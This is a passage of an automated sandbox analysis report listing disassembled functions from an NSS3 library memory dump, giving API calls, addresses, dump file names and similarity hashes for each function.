Part of subcall function 6CC514C0: EnterCriticalSection.KERNEL32 ref: 6CC514F5
Part of subcall function 6CC514C0: PR_Unlock.NSS3 ref: 6CC5150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CBF3FFF,00000000,?,?,?,?,?,6CBF1A1C,00000000,00000000), ref: 6CBFADB4

Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC510F3
Part of subcall function 6CC510C0: EnterCriticalSection.KERNEL32(?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5110C
Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51141
Part of subcall function 6CC510C0: PR_Unlock.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51182
Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CBF3FFF,?,?,?,?,6CBF3FFF,00000000,?,?,?,?,?,6CBF1A1C,00000000), ref: 6CBFADD5

Part of subcall function 6CC4FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CC48D2D,?,00000000,?), ref: 6CC4FB85
Part of subcall function 6CC4FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CC4FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CD194B0,?,?,?,?,?,?,?,?,6CBF3FFF,00000000,?), ref: 6CBFADEC

Part of subcall function 6CC4B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD218D0,?), ref: 6CC4B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CBF3FFF), ref: 6CBFAE3C

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 5181dd9b521e597a8d566e65e89d77d37f5433e928a77bb94b75afef60231347
Instruction ID: f61ac1a2349e7f748444e4bca8151b8009a3d248cccbabef08506c560079e50f
Opcode Fuzzy Hash: 5181dd9b521e597a8d566e65e89d77d37f5433e928a77bb94b75afef60231347
Instruction Fuzzy Hash: B3113B71E002445BF7109F699C41BBF73A8DF9114DF548128EC2996B41F720F95E86E3

Function 6CC18E80 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6CC32E62,?,?,?,?,?,?,?,00000000,?,?,?,6CC04F1C), ref: 6CC18EA2

Part of subcall function 6CC3F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CC3F854
Part of subcall function 6CC3F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CC3F868
Part of subcall function 6CC3F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CC3F882
Part of subcall function 6CC3F820: free.MOZGLUE(04C483FF,?,?), ref: 6CC3F889
Part of subcall function 6CC3F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CC3F8A4
Part of subcall function 6CC3F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CC3F8AB
Part of subcall function 6CC3F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CC3F8C9
Part of subcall function 6CC3F820: free.MOZGLUE(280F10EC,?,?), ref: 6CC3F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6CC32E62,?,?,?,?,?,?,?,00000000,?,?,?,6CC04F1C), ref: 6CC18EC3
TlsGetValue.KERNEL32(?,?,?,6CC32E62,?,?,?,?,?,?,?,00000000,?,?,?,6CC04F1C), ref: 6CC18EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6CC32E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CC18EF1
PR_Unlock.NSS3 ref: 6CC18F20

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID:
API String ID: 1978757487-0
Opcode ID: b4f7cc7e76a94c4f945d191df3c600a0cf947dd8330b2e39ff5d862846df4834
Instruction ID: 8f8d8dc2c97760a3134aa35a4217fa7d9c90a385ea295dc3bdf1bfa1a7329d06
Opcode Fuzzy Hash: b4f7cc7e76a94c4f945d191df3c600a0cf947dd8330b2e39ff5d862846df4834
Instruction Fuzzy Hash: D9217C7490D6059FDB00AF2AD084599BBF4FF48318F42456EED989BB41E730E854DBD2

Function 6CC526A0 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

_NSSUTIL_GetSecmodName.NSS3(?,?,?,?,?), ref: 6CC526DD

Part of subcall function 6CC55DE0: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6CC55E08
Part of subcall function 6CC55DE0: NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CC55E3F
Part of subcall function 6CC55DE0: PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6CC55E5C
Part of subcall function 6CC55DE0: free.MOZGLUE(00000000), ref: 6CC55E7E
Part of subcall function 6CC55DE0: free.MOZGLUE(00000000), ref: 6CC55E97
Part of subcall function 6CC55DE0: PORT_Strdup_Util.NSS3(secmod.db), ref: 6CC55EA5
Part of subcall function 6CC55DE0: _NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6CC55EBB
Part of subcall function 6CC55DE0: NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CC55ECB
Part of subcall function 6CC55DE0: PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6CC55EF0

PR_SetError.NSS3(FFFFE0B1,00000000), ref: 6CC526F8

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

free.MOZGLUE(00000000), ref: 6CC53434
free.MOZGLUE(?), ref: 6CC53448
free.MOZGLUE(?), ref: 6CC5345C

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: free$Value$L_strncasecmpParam$ConfigErrorEvaluateNameSecmodStrdup_Utilisspace
String ID:
API String ID: 3127463018-0
Opcode ID: 6c1fa8db1f02c13f13c0b471ccbd845f983da4c0db2b653c3644c323a89e88eb
Instruction ID: 16fd8c5750d022d85f6287dab9378fb7b1d1a393c7a3dd891d7c94db6760039e
Opcode Fuzzy Hash: 6c1fa8db1f02c13f13c0b471ccbd845f983da4c0db2b653c3644c323a89e88eb
Instruction Fuzzy Hash: B41124B1A001189BEF00DF58DC85ADA77BCFF41344F448478E90997640FB31E928CBA5

Function 6CC804C0 Relevance: 7.6, APIs: 5, Instructions: 63synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(ED850FC0,000000FF,?,00000000,?,6CC8461B,-00000004), ref: 6CC804DF
TlsGetValue.KERNEL32(?,00000000,?,6CC8461B,-00000004), ref: 6CC80510
EnterCriticalSection.KERNEL32(ED850FDC), ref: 6CC80520
PR_SetError.NSS3(FFFFE89D,00000000,?,00000000,?,6CC8461B,-00000004), ref: 6CC80534
GetLastError.KERNEL32(?,6CC8461B,-00000004), ref: 6CC80543

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Error$CriticalEnterLastObjectSectionSingleValueWait
String ID:
API String ID: 3052423345-0
Opcode ID: 304a9f8c6748167820ba4c113e93d82029a153df4a9a67b1d7ad1fee314e517c
Instruction ID: 73e8e613db12d1c6c6e0471273a267c93a60b9b349369e95a59073a6968fdd07
Opcode Fuzzy Hash: 304a9f8c6748167820ba4c113e93d82029a153df4a9a67b1d7ad1fee314e517c
Instruction Fuzzy Hash: 55115771A071855BEB007E38DC14B6B3E68AF0231CF614628E629C39D0FB31D044CBB5

Function 6CC08FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CC10710), ref: 6CC08FF1
PR_CallOnce.NSS3(6CD52158,6CC09150,00000000,?,?,?,6CC09138,?,6CC10710), ref: 6CC09029
calloc.MOZGLUE(00000001,00000000,?,?,6CC10710), ref: 6CC0904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CC10710), ref: 6CC09066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CC10710), ref: 6CC09078

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 5714bf55f6b359a775af2d7707dc8c7860eba12d8f73bb7d2784676057028498
Instruction ID: cecad6788bcb1a880123afa1c5925583acd7e7f2ef8cf9d6a3292e862fc3cafe
Opcode Fuzzy Hash: 5714bf55f6b359a775af2d7707dc8c7860eba12d8f73bb7d2784676057028498
Instruction Fuzzy Hash: A111253170011157E7201BA99C44B6A32ACEB867ACF400421FD94C2B81F753CD4A83B1

Function 6CC1CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6CC31E10: TlsGetValue.KERNEL32 ref: 6CC31E36
Part of subcall function 6CC31E10: EnterCriticalSection.KERNEL32(?,?,?,6CC0B1EE,2404110F,?,?), ref: 6CC31E4B
Part of subcall function 6CC31E10: PR_Unlock.NSS3 ref: 6CC31E76

free.MOZGLUE(?,6CC1D079,00000000,00000001), ref: 6CC1CDA5
PK11_FreeSymKey.NSS3(?,6CC1D079,00000000,00000001), ref: 6CC1CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CC1D079,00000000,00000001), ref: 6CC1CDCF
DeleteCriticalSection.KERNEL32(?,6CC1D079,00000000,00000001), ref: 6CC1CDE2
free.MOZGLUE(?), ref: 6CC1CDE9

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 4b8c828f9b42f136ab4cdfea1d97f1f0c73469bd05dc08a3457a2b362ebe1437
Instruction ID: 96b8c13a8a21d88dae2c8b9c0d85e8cd80475779bb08d90f8ac976ab77f6326a
Opcode Fuzzy Hash: 4b8c828f9b42f136ab4cdfea1d97f1f0c73469bd05dc08a3457a2b362ebe1437
Instruction Fuzzy Hash: C411A0B2B05111ABEB00BEA6EC85996B72CBF442697104571FA0987E01F732E438D7E1

Function 6CC82CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CC85B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC85B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC82CEC

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

PR_EnterMonitor.NSS3(?), ref: 6CC82D02
PR_EnterMonitor.NSS3(?), ref: 6CC82D1F
PR_ExitMonitor.NSS3(?), ref: 6CC82D42
PR_ExitMonitor.NSS3(?), ref: 6CC82D5B

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 4f3e3358f192e9d140417810773b2e67c868d1badd04a9acb67e58e29ff9967b
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: B501A5B29012005BE6309F29FC44A87BBB1EB5531CF004566E85996B10F632F815C692

Function 6CC82D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CC85B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC85B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC82D9C

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

PR_EnterMonitor.NSS3(?), ref: 6CC82DB2
PR_EnterMonitor.NSS3(?), ref: 6CC82DCF
PR_ExitMonitor.NSS3(?), ref: 6CC82DF2
PR_ExitMonitor.NSS3(?), ref: 6CC82E0B

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: f15c56d6d817b2946f4edee812adc760fbd6974c6c9993f92e36016c7ffc5be6
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: D601A1B1A016006BEA309E29FC09BC7BBB1EB5531DF000435E85A96B10F632E825C6A2

Function 6CC1AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6CC03090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC1AE42), ref: 6CC030AA
Part of subcall function 6CC03090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC030C7
Part of subcall function 6CC03090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CC030E5
Part of subcall function 6CC03090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC03116
Part of subcall function 6CC03090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CC0312B
Part of subcall function 6CC03090: PK11_DestroyObject.NSS3(?,?), ref: 6CC03154
Part of subcall function 6CC03090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC0317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6CBF99FF,?,?,?,?,?,?,?,?,?,6CBF2D6B,?), ref: 6CC1AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6CBF99FF,?,?,?,?,?,?,?,?,?,6CBF2D6B,?), ref: 6CC1AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CBF2D6B,?,?,00000000), ref: 6CC1AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6CBF2D6B,?,?,00000000), ref: 6CC1AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6CBF2D6B,?,?), ref: 6CC1AEA3

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: a18a214b9c6f85e2888254765f0735b7da1c54473a12f8c3469914a3b1753ff9
Instruction ID: 9f8fbe33d8d5ebd01264e86910c8d037aeb12b47cb15dcafc5088369aff28ec3
Opcode Fuzzy Hash: a18a214b9c6f85e2888254765f0735b7da1c54473a12f8c3469914a3b1753ff9
Instruction Fuzzy Hash: BE01AFA7B081105BE701926FAC95BAB31588FC765CF084072E90AD7F41F616DD2E92E3

Function 6CD0ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CD0A6D8), ref: 6CD0AE0D
free.MOZGLUE(?), ref: 6CD0AE14
DeleteCriticalSection.KERNEL32(6CD0A6D8), ref: 6CD0AE36
free.MOZGLUE(?), ref: 6CD0AE3D
free.MOZGLUE(00000000,00000000,?,?,6CD0A6D8), ref: 6CD0AE47

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 9df085a06cce4b32c23927da9e65e1010fcde073d970fd498c04ae151a8372f0
Instruction ID: ee2c7794c14755e6a4a7b6f234926675a9d34d880672474b4f1c95cfb3b3dd9a
Opcode Fuzzy Hash: 9df085a06cce4b32c23927da9e65e1010fcde073d970fd498c04ae151a8372f0
Instruction Fuzzy Hash: 26F0F675301A01A7DA10AF68D849917777CBFC67B87104328E36E83940D731E019C7D1

Function 6CB86C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CB86D36

Strings

database corruption, xrefs: 6CB86D2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB86D20
%s at line %d of [%.10s], xrefs: 6CB86D2F

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 5d16fad52fcec55338b82e5c619af3809b76768e252eef409c34235588ba3d92
Instruction ID: 3f6cb986dd04671500166de6ae20d656af5a203f7ddd2b16bddbf69064566940
Opcode Fuzzy Hash: 5d16fad52fcec55338b82e5c619af3809b76768e252eef409c34235588ba3d92
Instruction Fuzzy Hash: F5210330A143559BC720CF19C841B5AB7F6EF84308F24892DD85A9BF51E771F949CBA2

Function 6CCBCC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CCBCD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CCBCC7B), ref: 6CCBCD7A
Part of subcall function 6CCBCD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CCBCD8E
Part of subcall function 6CCBCD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CCBCDA5
Part of subcall function 6CCBCD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CCBCDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6CCBCCB5
memcpy.VCRUNTIME140(6CD514F4,6CD502AC,00000090), ref: 6CCBCCD3
memcpy.VCRUNTIME140(6CD51588,6CD502AC,00000090), ref: 6CCBCD2B

Part of subcall function 6CBD9AC0: socket.WSOCK32(?,00000017,6CBD99BE), ref: 6CBD9AE6
Part of subcall function 6CBD9AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CBD99BE), ref: 6CBD9AFC

Part of subcall function 6CBE0590: closesocket.WSOCK32(6CBD9A8F,?,?,6CBD9A8F,00000000), ref: 6CBE0597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6CCBCCB0

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 42b02ac9b0d244d060d8c4e553679eb7848b553963abc7d97db86e4589969a3b
Instruction ID: 5a0e329119acced3591622a2e29fbb6ea9b1087abc0ae8a71681fe736ef38b38
Opcode Fuzzy Hash: 42b02ac9b0d244d060d8c4e553679eb7848b553963abc7d97db86e4589969a3b
Instruction Fuzzy Hash: BD1193F2B012409EFB009F6E9C46B473ABCA35635CF941129E61ADBB65E771D8048BD2

Function 6CC22520 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetFunctionList), ref: 6CC22538
